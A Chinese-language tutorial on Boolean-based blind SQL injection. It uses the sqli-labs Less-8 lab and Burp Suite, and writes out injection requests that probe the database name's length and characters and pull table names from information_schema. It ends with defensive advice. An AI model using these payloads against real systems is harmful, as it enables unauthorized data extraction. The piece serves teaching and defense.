Boolean注入攻击是一种常见而危险的SQL注入技巧,本文将深入讨论这一攻击类型,并提供详细的代码案例来帮助读者更好地理解和防御这种威胁。一、什么是Boolean注入攻击?Boolean注入攻击是一种SQL注入攻击的变体,攻击者试图通过向应用程序提交恶意输入来绕过输入验证并执行SQL查询。该攻击的名称来源于其利用布尔逻辑运算的方式,攻击者根据应用程序的响应,逐渐猜测数据库查询中的真假条件,从而获取敏感数据。在Boolean注入攻击中,攻击者通常通过观察应用程序在查询出现错误时的不同响应来获取信息。如果应用程序的错误消息或行为发生了变化,攻击者可以确定他们的注入是否成功,进而逐步构造有效的注入攻击。二、构造Boolean注入攻击1、通过BurpSuite抓包,并发送到repeater模块
[color=rgba(0, 0, 0, 0.9)]
2、正常返回的数据如下[color=rgba(0, 0, 0, 0.9)] 3、构造让程序报错的语句GET /sqli/Less-8/?id=1'+and+1=1--+ HTTP/1.1GET /sqli/Less-8/?id=1'+and+1=2--+ HTTP/1.1
[color=rgba(0, 0, 0, 0.9)]
[color=rgba(0, 0, 0, 0.9)]
4、构造sql语句判断数据库名称的长度,当长度大于等于的是偶报错,所以该数据库名的长度为8。
GET /sqli/Less-8/?id=1'+and+length(database())>=9--+ HTTP/1.1
[color=rgba(0, 0, 0, 0.9)]
5、构造sql语句查询数据库的名字
判断数据库的第一个字符是否为‘s’GET /sqli/Less-8/?id=1'+and+substr(database(),1,1)='s'--+ HTTP/1.1
[color=rgba(0, 0, 0, 0.9)]
判断数据库的第一个字符是否为‘e’GET /sqli/Less-8/?id=1'+and+substr(database(),2,1)='e'--+ HTTP/1.1[color=rgba(0, 0, 0, 0.9)]
最终得到数据库的名字为:security6、构造sql语句查询表名
GET /sqli/Less-8/?id=1'+and+substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1),1,1)='e'--+ HTTP/1.1
[color=rgba(0, 0, 0, 0.9)]
7、以此类推获取所有的表名,字段及内容获取方式查看上节课内容[color=var(--weui-LINK)]SQL注入 -- Union联合注入漏洞
三、防御Boolean注入攻击要防御Boolean注入攻击,开发人员应采取以下措施:使用参数化查询:使用参数化查询可以有效防止SQL注入攻击,因为参数值会被数据库驱动程序正确转义,而不是将其视为SQL代码的一部分。严格验证和过滤输入:在接受用户输入之前,应用程序应对输入进行验证和过滤,确保只接受有效的数据。例如,只允许字母字符、数字和特定的符号。最小权限原则:数据库用户应该被分配最小必要的权限,以限制攻击者对数据库的访问。错误消息处理:应用程序不应该向用户返回详细的错误消息,而应该将其记录下来,并提供一般性的错误提示。这可以减少攻击者获取有关数据库结构的信息的机会。结论Boolean注入攻击是一种常见的SQL注入攻击类型,攻击者利用布尔逻辑运算来逐步构造有效的注入。开发人员应该采取适当的防御措施,如使用参数化查询、验证和过滤输入以及最小权限原则,来保护应用程序免受这种威胁的影响。只有通过持续的安全意识培训和漏洞扫描,才能有效地减少SQL注入攻击的风险。
|